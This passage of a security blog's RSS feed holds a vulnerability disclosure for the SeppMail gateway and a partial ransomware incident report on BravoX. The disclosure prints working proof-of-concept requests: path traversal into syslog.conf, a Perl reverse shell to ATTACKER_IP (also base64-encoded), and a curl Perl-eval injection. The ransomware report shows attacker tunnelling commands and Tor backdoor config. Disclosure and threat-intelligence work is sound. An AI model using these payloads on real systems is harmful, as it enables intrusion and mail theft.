<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>InfoGuard Labs</title><description>Technical Insights</description><link>https://labs.infoguard.ch/</link><language>en</language><item><title>SeppMail Secure E-Mail Gateway: Critical RCE and LFI Vulnerabilities</title><link>https://labs.infoguard.ch/posts/seppmail_secure_e-mail_gateway_rce_vulnerabilities_cve-2026-2743_cve-2026-7864_cve-2026-44127_cve-2026-44128/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/seppmail_secure_e-mail_gateway_rce_vulnerabilities_cve-2026-2743_cve-2026-7864_cve-2026-44127_cve-2026-44128/</guid><description>A widely used Secure E-Mail Gateway &quot;SeppMail&quot; revealed critical vulnerabilities with little effort and without chaining of multiple vulnerabilities. RCE to compromise the device, LFI to read mails and more. (CVE-2026-2743, CVE-2026-7864, CVE-2026-44127, CVE-2026-44128)</description><pubDate>Mon, 18 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;TL;DR&lt;/h1&gt;
&lt;p&gt;We analyzed the SEPPMail Secure E-Mail Gateway virtual appliance for critical vulnerabilities. This post contains technical details for some of them (full list in &lt;a href=&quot;#overview&quot;&gt;Overview&lt;/a&gt;):&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2743&quot;&gt;CVE-2026-2743&lt;/a&gt;&lt;/em&gt;: Pre-authenticated RCE by exploiting an arbitrary file write in the Large File Transfer (LFT) component. The configuration file &lt;code&gt;/etc/syslog.conf&lt;/code&gt; can be written to turn it into an RCE.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7864&quot;&gt;CVE-2026-7864&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44127&quot;&gt;CVE-2026-44127&lt;/a&gt;, &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44128&quot;&gt;CVE-2026-44128&lt;/a&gt;&lt;/em&gt;: GINA V2 contains several critical vulnerabilities such as RCE via Perl-injection and a LFI to read arbitrary mails from the device.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;SEPPmail is a widely used E-Mail Gateway for encrypted Mails in the DACH (Germany, Austria, Switzerland) region. There are several thousand public instances on Censys.&lt;/p&gt;
&lt;p&gt;Based on the information from an ETH research project that SEPPMail has serious vulnerabilities (&lt;a href=&quot;https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html&quot;&gt;SeppMail Release Notes&lt;/a&gt; and for example &lt;a href=&quot;https://www.cve.org/cverecord?id=CVE-2026-27441&quot;&gt;CVE-2026-27441&lt;/a&gt;: OS command injection) we decided to further look into the subject since the research project did not look at all components.&lt;/p&gt;
&lt;p&gt;SeppMail images can be downloaded for different VMs from the official website &lt;a href=&quot;https://downloads.seppmail.com/images/&quot;&gt;here&lt;/a&gt;. After we obtained SSH root access to the appliance we extracted the source code. The code was audited by LLM Agents as well as our penetration testers as a side project. We only partially checked the code and our focus was on exploitable critical vulnerabilities. In less than one hour, there were already promising vulnerability candidates: Path traversals, straight code injection and also some false positives.&lt;/p&gt;
&lt;p&gt;By default, self-registration is enabled for SeppMail and consequently getting an authenticated session is not a problem.&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;The following vulnerabilities were identified and fixed. Not all vulnerabilities will be mentioned in this post:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;th&gt;Fixed Vulnerability&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;15.0.2.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44128&quot;&gt;CVE-2026-44128&lt;/a&gt;: Unauthenticated Remote Code Execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15.0.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44126&quot;&gt;CVE-2026-44126&lt;/a&gt;: Insecure deserialization&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15.0.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-2743&quot;&gt;CVE-2026-2743&lt;/a&gt;: Arbitrary File Write via Path Traversal upload to Remote Code Execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15.0.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44125&quot;&gt;CVE-2026-44125&lt;/a&gt;: Missing Authorization in GINAv2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15.0.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44127&quot;&gt;CVE-2026-44127&lt;/a&gt;: Local File Inclusion (LFI) and Arbitrary File Deletion in GINAv2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15.0.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-44129&quot;&gt;CVE-2026-44129&lt;/a&gt;: Server-side template injection in GINAv2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15.0.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-7864&quot;&gt;CVE-2026-7864&lt;/a&gt;: Exposure of Sensitive Information to an Unauthorized Actor in GINAv2&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;CVE-2026-2743: File Upload Path Traversal to RCE in Exposed Web UI&lt;/h1&gt;
&lt;p&gt;The affected component in CVE-2026-2743 is the &lt;a href=&quot;https://docs.seppmail.com/ch/03_wp_05_af_02_large-file-transfer.html&quot;&gt;Large File Transfer (LFT)&lt;/a&gt; feature. This is enabled by the majority of customers according to a scan based on Censys data.
The affected &lt;code&gt;file.app&lt;/code&gt; back-end handles large attachments via chunked uploads which are stored in a temporary session directory before being finalized. The vulnerability identification as well as the exploitation was largely done by gemini-cli in our custom LLM-Agent workflow.&lt;/p&gt;
&lt;h2&gt;The Primary Vulnerability: Unsanitized Path Traversal&lt;/h2&gt;
&lt;p&gt;The core flaw exists in the &lt;code&gt;handle_request&lt;/code&gt; function of &lt;code&gt;/v1/file.app&lt;/code&gt;. When processing a chunked upload, the application extracts a &lt;code&gt;file&lt;/code&gt; parameter directly from the user-supplied JSON payload:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# /v1/file.app
push @{$fileparams-&amp;gt;{soapfiles}}, {
    ...
    file =&amp;gt; $file-&amp;gt;{file} || q{},  # Unsanitized user input
    ...
};
...
my $answer = $message-&amp;gt;store_attachments( undef, undef, $fileparams );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This &lt;code&gt;file&lt;/code&gt; value is passed to &lt;code&gt;WebMailMessage::store_attachments&lt;/code&gt;, which uses it to construct the output path on the filesystem. Because the application performs zero sanitization on this parameter, an attacker can use directory traversal sequences (&lt;code&gt;../&lt;/code&gt;) to escape the session directory and write to any location on the appliance writable as the &lt;code&gt;nobody&lt;/code&gt; user.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;seppmail_request.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;seppmail_pwnedtxt.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Chaining to RCE&lt;/h2&gt;
&lt;p&gt;The nobody user has only very few permissions. Apart from the &lt;code&gt;/tmp&lt;/code&gt; and &lt;code&gt;/var&lt;/code&gt; there aren&apos;t many but one stood out:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -user nobody -perm -u+w
/dev/cuaU0
/etc/syslog.conf
/tmp/trust
/tmp/trust/crldir
/tmp/trust/e0eaaa18777f842eb4fd9a54289f03bca62c28c93bc3a5fe0a9d4f430efef765
/tmp/trust/e0eaaa18777f842eb4fd9a54289f03bca62c28c93bc3a5fe0a9d4f430efef765/9C:EF:ED:B3:3C:24:8D:16:FC:CF:D0:8C:62:CD:44:BC:56:A0:D5:F0
[...]
/tmp/sessions
/tmp/sessions/daemon
/tmp/sessions/web
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS/db
/tmp/sessions/web/6FmCdKqypnueAJqVfzvCLUu79qwjyZUS/db/__db.001
[...]
/var/lfm
/var/lfm/.keep
/var/lfm/nosync
/var/log/proxylog
/var/log/SMTPD.jobid
/var/log/system
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;On the SEPPmail appliance, the &lt;code&gt;nobody&lt;/code&gt; user has an unusual and highly sensitive permission: write access to &lt;strong&gt;&lt;code&gt;/etc/syslog.conf&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;OpenBSD&apos;s &lt;code&gt;syslogd&lt;/code&gt; supports piping log messages directly into a command. By exploiting the path traversal to overwrite the system&apos;s syslog configuration, we can execute arbitrary commands.&lt;/p&gt;
&lt;p&gt;We can add a line to &lt;code&gt;syslog.conf&lt;/code&gt; that pipes any system log message into a Perl-based reverse shell:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*.* |/usr/bin/perl -e &apos;use Socket;$i=&quot;&amp;lt;ATTACKER_IP&amp;gt;&quot;;$p=8081;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&amp;gt;&amp;amp;S&quot;);open(STDOUT,&quot;&amp;gt;&amp;amp;S&quot;);open(STDERR,&quot;&amp;gt;&amp;amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;The Trigger: &lt;code&gt;newsyslog&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;A challenge in overwriting &lt;code&gt;/etc/syslog.conf&lt;/code&gt; is that &lt;code&gt;syslogd&lt;/code&gt; only re-reads its configuration when it receives a &lt;code&gt;SIGHUP&lt;/code&gt; signal. A reboot replaces the syslog.conf with the original one, so we checked when this could happen without a reboot and how it could be sped up as a web user.&lt;/p&gt;
&lt;p&gt;The appliance uses &lt;strong&gt;&lt;code&gt;newsyslog&lt;/code&gt;&lt;/strong&gt; for log rotation (e.g. leading to logfile.0), which runs every 15 minutes via cron. &lt;code&gt;newsyslog&lt;/code&gt; rotates files that exceed a size limit and then automatically sends a &lt;code&gt;SIGHUP&lt;/code&gt; to &lt;code&gt;syslogd&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /var/cron/tabs/root
1-59/15 * * * * /usr/bin/newsyslog &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&amp;amp; ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By bloating log files like SEPPMaillog which has a 10000kb limit in this case, we can force a rotation and a subsequent config reload. These can be filled by just sending web requests.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /etc/newsyslog.conf
[...]
/var/log/SEPPMaillog                                    644        99999     10000       *       Z
[...]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Full PoC Request&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;POST /v1/file.app HTTP/1.1
Host: test123123.com
Authorization: Basic NkZtQ2R [...] uNEU=
Content-Type: application/json
Content-Length: 682
Connection: close

{
   &quot;files&quot;: [
        {
            &quot;name&quot;: &quot;syslog_exploit.txt&quot;,
            &quot;file&quot;: &quot;../../../../../../../etc/syslog.conf&quot;,
            &quot;chunks&quot;: [
               {
                    &quot;backref&quot;: 0,
                    &quot;offset&quot;: 0,
                    &quot;size&quot;: 240,
                    &quot;data&quot;: &quot;Ki4qIHwgL3Vzci9iaW4vcGVybCAtZSAndXNlIFNvY2tldDskaT0iMTkyLjE2OC4xNzguNDYiOyRwPTgwODE7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307Jwoj&quot;
                }
            ]
       }
   ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The content overwrites the beginning of the file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;seppmail_exploit2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once the syslog config is reloaded, the reverse shell is received:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;seppmail_RCE_reverseshell.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;The chain allows for a complete takeover of the SEPPmail appliance. Attackers can read all mail traffic and persist indefinitely on the gateway. On these virtual appliances the Blue Teams have usually no visibility.&lt;/p&gt;
&lt;p&gt;Only customers with the Large File Transfer license are affected by this. This can be tested by checking if the endpoint &lt;code&gt;https://&amp;lt;gateway&amp;gt;/v1/file.app&lt;/code&gt; is reachable.&lt;/p&gt;
&lt;p&gt;HTTP Status code 404 ==&amp;gt; not affected&lt;/p&gt;
&lt;h1&gt;GINA V2: A Fully Functional Web Shell&lt;/h1&gt;
&lt;p&gt;GINA is a web interface commonly exposed by SEPPMail instances to facilitate secure email communication with non-SEPPMail users. When an encrypted email is sent, the recipient receives an HTML attachment. Using a password mostly delivered via SMS, the user can then log in to decrypt and view the message through the sender&apos;s GINA interface.
The updated GINA v2.x, available since approximately January 2025, fortunately requires explicit activation in the system settings. Because the feature is still under development, the application displays the following warning to administrators before it is enabled:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;seppmail_ginav2_enable.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;CVE-2026-44128: Perl Injection&lt;/h2&gt;
&lt;p&gt;The new UI under &lt;code&gt;/api.app&lt;/code&gt; now supports new features such as the &lt;code&gt;/api.app/template&lt;/code&gt; feature. Here we could theoretically upload and test templates or we can leverage it to a fully functional Perl web shell. The application takes the user-supplied &lt;code&gt;upldd&lt;/code&gt; parameter and passes it directly into a Perl &lt;code&gt;eval()&lt;/code&gt; statement. Because the input is not sanitized or validated, any Perl code injected into this parameter is immediately executed by the server:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sub get_template {
    my ($hr_request, $or_session, $or_webdomain, $hr_env) = @_;
    ...
            if ($hr_request-&amp;gt;{params}{upldd}) {
                eval $hr_request-&amp;gt;{params}{upldd};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The following request submitted via curl will create a file in the temp directory as a PoC:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -k -X POST &quot;https://&amp;lt;TARGET_HOST&amp;gt;/api.app/template&quot; -F &quot;uplde=@/dev/null&quot; -F &quot;upldc=@/dev/null&quot; -F &quot;upldt=@/dev/null&quot; -F &quot;upldd=system(&apos;touch /tmp/trust/rce_poc&apos;);&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You might wonder why such a critical endpoint doesn&apos;t require authentication. The &lt;code&gt;api.app&lt;/code&gt; configuration does specify a &lt;code&gt;nosession =&amp;gt; 1&lt;/code&gt; key-value pair for certain endpoints (though notably not for this one). However, the application never actually evaluates this value.
Instead of enforcing centralized access control at the routing level, the application relies on each individual API function to manually implement its own authentication checks. The function handling our template endpoint simply lacks this check entirely.&lt;/p&gt;
&lt;p&gt;Interestingly, this vulnerability was silently patched sometime after version 15.0.0 (and is confirmed fixed by version 15.0.2.1). We originally stumbled across this flaw purely by accident after opening a directory containing an older version of the application. It is concerning that there is absolutely no mention of this critical security fix anywhere in the official release or patch notes.&lt;/p&gt;
&lt;h2&gt;CVE-2026-44127: Preview any file and delete its folder&lt;/h2&gt;
&lt;p&gt;The new &lt;code&gt;api.app&lt;/code&gt; also supports the preview of attachments. The &lt;code&gt;attachment/preview&lt;/code&gt; API endpoint accepts an &lt;code&gt;identifier&lt;/code&gt; parameter. This can be set to arbitrary locations such as the local LDAP database of the appliance. This way, mails, all users, password hashes, keys, etc. can be exfiltrated.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;seppmail_lfi_ldap_extract.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After extracting we can look at the LDAP database:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;seppmail_lfi_ldap_result.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After viewing a file via the identifier parameter, &lt;code&gt;remove_folder&lt;/code&gt; is called which tries to delete the parent folder of the provided file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sub preview
{
    my ( $hr_params ) = @_;
    my $s_tempfile = &apos;/tmp/&apos; . uri_unescape( $hr_params-&amp;gt;{identifier} );
    $s_tempfile =~ s/[&quot;&apos;]+//g;
    if ( my $s_data = Webapp::Basics::read_file( $s_tempfile ) ) {
        my $s_mime_type = Webapp::Basics::read_file( $s_tempfile . &apos;.info&apos; );
        $s_tempfile =~ s/\/[^\/]+$//;
        Webapp::Basics::remove_folder( $s_tempfile );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As the process is running as the user &lt;code&gt;nobody&lt;/code&gt;, most directories can not be deleted.&lt;/p&gt;
&lt;h2&gt;CVE-2026-7864: Debug Features&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;/api.app/hello&lt;/code&gt; endpoint is available without authentication and supports some handy debug features. By simply appending the &lt;code&gt;op=env&lt;/code&gt; parameter to the URL, the server dumps all of its environment variables. A simple GET request to &lt;code&gt;/api.app/hello?op=env&lt;/code&gt; forces the server to return the complete environment variable list:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;seppmail_debug_env.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Disclosure Timeline&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;12.02.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;First Vulnerability report submitted (CVE-2026-2743)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;16.02.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Second Vulnerability report submitted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;18.02.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Asking, if they have received the second report.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;20.02.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Sending the second report again, as it got lost somewhere (it was in the mail attachment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;02.03.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Third Vulnerability report submitted&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;05.03.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Release of first CVE (CVE-2026-2743)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;08.05.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Release of all other CVEs, but one was missing.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;15.05.2026&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Acknowledgment from SeppMail that they overlooked the vulnerability described in the third report, which can lead to RCE. This vulnerability is not included in this blog post.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;Conclusion&lt;/h1&gt;
&lt;p&gt;With rather moderate effort and partially AI-assisted by using LLM agents, similarly to other &lt;a href=&quot;https://appliedcrypto.ethz.ch/education/student-projects/master-theses.html&quot;&gt;recent vulnerability research from Andris Suter-Dörig&lt;/a&gt;, we were able to discover multiple critical vulnerabilities in the widely used SeppMail secure email solution. Even widely adopted publicly exposed solutions contain critical exploitable findings over a long period of time. These vulnerabilities could have been exploited to read all mail traffic or as an entry vector into the internal network. Blue Teams are usually blind on these virtual appliances.&lt;/p&gt;
&lt;p&gt;This demonstrates that it is of utmost importance to implement and enforce continuous and thorough security review practises. With the fast rising capabilities of LLM agents, this is even more important as the required time and skill to identify and exploit these vulnerabilities is sinking drastically.&lt;/p&gt;
</content:encoded><author>Dario Weiss, Manuel Feifel, Olivier Becker</author></item><item><title>BravoX - The new Kids on the Block</title><link>https://labs.infoguard.ch/posts/bravox/bravox/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/bravox/bravox/</guid><description>This article provides an overview of BravoX, a new ransomware player whose operations combine familiar tactics with a few distinctive twists, offering insight into their techniques, tooling, and notably their negotiation approach.</description><pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;./images/BravoX-dls.png&quot; alt=&quot;BravoX - DLS&quot; /&gt;
&lt;em&gt;Figure 1: BravoX - Data Leak Site&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;BravoX is an emerging ransomware-as-a-service (RaaS) provider that came to public attention on January 23, 2026. Based on the observed modus operandi, the group appears to employ the tactic known as “double extortion.” In this scheme, data is exfiltrated from the affected environment before encryption, and the group then threatens not only to withhold system restoration but also to publish the stolen information unless a ransom is paid. At the time of this report’s publication, a total of 12 suspected victims are listed on the group’s associated Data Leak Site (DLS). Information is typically published there to exert pressure as part of the double extortion scheme.&lt;/p&gt;
&lt;p&gt;The group appears to operate from within the former Soviet sphere. One indication is its stated prohibition on targeting organisations in CIS countries, a restriction that has been repeatedly observed across multiple ransomware operations linked to that region. While this does not by itself prove the group’s exact geographic origin, it is a notable behavioural indicator that aligns with patterns long associated with ransomware actors from the CIS. Due to the small number of victims listed on their DLS, we assume they are currently seeking other kids to play with.&lt;/p&gt;
&lt;p&gt;During the investigation of the ransomware campaign, InfoGuard uncovered several atypical TTPs, most notably within the persistence phase, an area where the threat actors demonstrated a level of creativity that clearly set them apart. Rather than relying solely on standard techniques, BravoX combined tailored persistence mechanisms with specialised tooling designed to actively undermine security controls. This was further complemented by a surprisingly polished DLS and negotiation platform; they definitely know how to use AI. But then they started to beg for money - in an aggressive way...&lt;/p&gt;
&lt;h1&gt;Attack Chain&lt;/h1&gt;
&lt;h2&gt;Initial Access&lt;/h2&gt;
&lt;p&gt;As observed with other ransomware groups, the threat actors gained initial access via an SSL VPN that lacked multi-factor authentication (MFA) and, of course, an account with a very weak password, enabling them to access the organisation’s internal network. It is a well-established pattern for threat actors to leverage exposed services to gain an initial foothold in corporate environments. Consequently, it is essential to properly harden such services and enforce MFA to reduce the risk of unauthorised access.&lt;/p&gt;
&lt;h2&gt;Reconnaissance&lt;/h2&gt;
&lt;p&gt;During the reconnaissance phase, the threat actors didn’t reinvent the wheel; instead, they stuck to the well-worn ransomware playbook, relying on widely used tools such as &lt;em&gt;SoftPerfect Network Scanner&lt;/em&gt; and &lt;em&gt;Advanced IP Scanner&lt;/em&gt; to map the environment. WMI-initiated commands, such as &lt;code&gt;wmic product get name&lt;/code&gt;, further highlighted a methodical approach to gathering system information. As the next step in the playbook, the focus shifted to digging through server data, specifically hunting for credentials, VPN access details, and other valuable information that could facilitate the next stages of the attack.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;CmdLine:_C:\Windows\System32\cmd.exe /Q /c powershell.exe -noni -nop -w 1 -enc IAB3AG0AaQBjACAAcAByAG8AZAB1AGMAdAAgAGcAZQB0ACAAbgBhAG0AZQA= 1&amp;gt; \Windows\Temp\rZERCU 2&amp;gt;&amp;amp;1

CmdLine:_C:\Windows\System32\cmd.exe /Q /c wmic product get name 1&amp;gt; \Windows\Temp\MNkdjo 2&amp;gt;&amp;amp;1

CmdLine:_C:\Windows\System32\cmd.exe /Q /c wmic product get name 1&amp;gt; C:\windows\temp\13e17740-f424-4e4e-8981-c0919f4064c4.txt 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Listing 1: Windows Defender detections&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;Credential Access/Privilege Escalation&lt;/h2&gt;
&lt;p&gt;When it came to credential access, the threat actors once again followed the classic playbook. A memory dump of the lsass.exe process (lsass.dmp) was created on a server, hardly a subtle move, but when there is no one watching, there is no judge. Shortly thereafter, a successful authentication using a privileged account was observed. The threat actors didn’t just try their luck; they succeeded in retrieving credentials directly from LSASS memory and wasted no time putting them to good use for privileged access.&lt;/p&gt;
&lt;h2&gt;Lateral Movement&lt;/h2&gt;
&lt;p&gt;For lateral movement, the threat actors opted for a rather “hands-on” approach, making extensive use of RDP to move across systems. Instead of relying on more covert techniques, they appeared perfectly comfortable logging in interactively and hopping from host to host, effectively turning the environment into their own remote workspace. With valid credentials in hand, this method proved both convenient and efficient, hardly stealthy, but clearly effective.&lt;/p&gt;
&lt;p&gt;From the first compromised server, they quickly made their way to the Domain Controllers and then circled back to their point of origin. Somewhat unexpectedly, they then went quiet, only to return seven days later, as if picking up exactly where they had left off.&lt;/p&gt;
&lt;h2&gt;Persistence&lt;/h2&gt;
&lt;p&gt;When it came to persistence, things got a bit more creative, and the threat actors showed a touch of individuality. Scheduled tasks may be a classic, but the way they put them to use was anything but boring.&lt;/p&gt;
&lt;p&gt;One task, named &lt;code&gt;\Windows Timer&lt;/code&gt;, launched a locally stored Tor instance (tor.exe) using a dedicated configuration file. This setup configured a Tor Hidden Service (v3), effectively exposing the local RDP service &lt;code&gt;127.0.0.1:3389&lt;/code&gt; through the Tor network. In other words, instead of bothering with firewall rules or open ports, they simply made the system reachable via an onion address — quietly turning RDP into an anonymously accessible backdoor.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\wintne\fk\tor\tor.exe -f C:\Windows\wintne\torrc.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Listing 2: Task Action \Windows Timer&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;HiddenServiceDir C:\Windows\wintne\hs

HiddenServicePort 3389 127.0.0.1:3389

HiddenServiceVersion 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Listing 3: torrc.txt&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Another scheduled task, somewhat philosophically named &lt;code&gt;\WindowsUpdateZ&lt;/code&gt;, executed &lt;code&gt;C:\Windows\dmw.exe&lt;/code&gt; with parameters to establish a SOCKS5 tunnel. The tool was first submitted to VirusTotal on 2025-10-23 and has only one detection: MALICIOUS (DeepInstinct).
The analysed PE file represents a custom or repurposed SSH tunnelling utility that establishes an authenticated outbound connection to a remote host and exposes a local SOCKS5 proxy. This enables the threat actors to route traffic through the compromised system, effectively creating a covert pivot point into the internal network while bypassing traditional perimeter controls.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&quot;C:\Windows\dmw.exe&quot; -socks5-port 56555 -host 45[.]61[.]136[.]225 -password &amp;lt;REDACTED&amp;gt; -user &amp;lt;REDACTED&amp;gt; -ssh-port 22
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Listing 4: Task Action \WindowsUpdateZ&lt;/em&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;All parameters are required:
  -host string
        SSH server host
  -password string
        SSH password
  -socks5-port int
        Base port for SOCKS5 proxy
  -ssh-port int
        SSH server port
  -user string
        SSH username
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;em&gt;Listing 5: Parameters for dmw.exe&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;The command initiated an outbound SSH connection (port 22) to an external host while exposing a local SOCKS5 proxy on port 56555. The inclusion of username and password parameters suggests an authenticated tunnel, providing a stable and encrypted communication channel. Altogether, this setup allowed the threat actors to maintain persistent, covert access - no noisy inbound connections required, just neatly tunnelled traffic slipping past perimeter defences.&lt;/p&gt;
&lt;h2&gt;Defense Evasion&lt;/h2&gt;
&lt;p&gt;For defence evasion, BravoX - like many other threat actors - came prepared with a specialised toolkit designed to neutralise security controls. Among these was an EDR killer, fittingly named Killer.exe, alongside a vulnerable driver, &lt;code&gt;vulndriver.sys&lt;/code&gt;, which is in fact &lt;code&gt;wsftprm.sys&lt;/code&gt; - a known driver used to bypass or disable protection mechanisms. The PE file and the driver work together and communicate via the driver handle &lt;code&gt;\\.\Warsaw_PM&lt;/code&gt;. After a quick strings analysis of the PE file - the lazy reverse engineering approach - the EDR Killer targets Microsoft Defender and Sophos EDR processes.
Subtlety clearly wasn’t a design priority here; practicality over stealth seems to be the guiding principle.&lt;/p&gt;
